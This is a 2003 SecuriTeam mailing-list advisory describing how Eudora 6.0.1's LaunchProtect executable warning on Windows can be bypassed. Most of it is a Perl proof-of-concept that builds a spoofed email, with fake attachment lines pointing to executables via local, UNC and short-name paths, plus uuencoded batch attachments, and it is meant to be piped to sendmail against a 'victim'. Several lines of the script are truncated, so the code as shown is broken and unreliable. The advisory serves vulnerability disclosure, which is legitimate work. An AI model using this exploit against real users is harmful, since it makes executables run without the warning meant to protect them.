[NT] Eudora LaunchProtect Bypassing

From: SecuriTeam (support_at_securiteam.com)
Date: 11/26/03

  • Next message: SecuriTeam: "[UNIX] Monit HTTP Interface Multiple Security Vulnerabilities"
    To: list@securiteam.com
    Date: 26 Nov 2003 15:48:26 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.

    - - - - - - - - -

      Eudora LaunchProtect Bypassing


     <http://www.eudora.com/> Eudora (on Windows) has a feature called
    LaunchProtect, it is used to warn the user before running executable
    attachments. However this only works in the attach folder; using spoofed
    attachments, executables stored elsewhere may run without warning. In some
    setups, even executables in the attach folder may run without warning.


    Vulnerable systems:
     * Eudora version 6.0.1

    #!/usr/bin/perl --

    use MIME::Base64;

    print "From: me\n";
    print "To: you\n";
    print "Subject: Eudora 6.0.1 on Windows spoof, LaunchProtect\n";
    print "\n";

    print "Pipe the output of this script into: sendmail -i victim\n";

    print "
    Eudora 6.0.1 LaunchProtect handles the X-X.exe dichotomy in the attach
    directory only, and allows spoofed attachments pointing to an executable
    stored elsewhere to run without warning:\n";
    print "Attachment Converted\r: <a
    print "Attachment Converted\r: c:/winnt/system32/calc\n";

    $X = 'README'; $Y = "$X.bat";
    print "\nThe X - X.exe dichotomy: send a plain $X attachment:\n";
    $z = "rem Funny joke\r\npause\r\n";
    print "begin 600 $X\n", pack('u',$z), "`\nend\n";
    print "\nand (in another message or) after some blurb so is scrolled off
    another screenful, also send $Y. Clicking on $X does not
    get it any more (but gets $Y, with a LauchProtect warning):\n";
    $z = "rem Big joke\r\nrem Should do something nasty\r\npause\r\n";
    print "begin 600 $Y\n", pack('u',$z), "`\nend\n";

    print "
    Can be exploited if there is more than one way into attach: in my setup
    H: and \\\\rome\\home are the same thing, but Eudora does not know
    print "These elicit warnings:\n";
    print "Attachment Converted\r: <a
    print "Attachment Converted\r: h:/eudora/attach/README\n";
    print "while these do the bad thing without warning:\n";
    print "Attachment Converted\r: <a
    print "Attachment Converted\r: //rome/home/eudora/attach/README\n";
    print "Attachment Converted\r: \\\\rome\\home\\eudora\\attach\\README\n";

    print "
    For the default setup, Eudora knows that C:\\Program Files
    and C:\\Progra~1 are the same thing...\n";
    print "Attachment Converted\r: \"c:/program
    print "Attachment Converted\r:

    print "\n";


    The information has been provided by <mailto:psz@maths.usyd.edu.au> Paul


    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com


    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[UNIX] Monit HTTP Interface Multiple Security Vulnerabilities"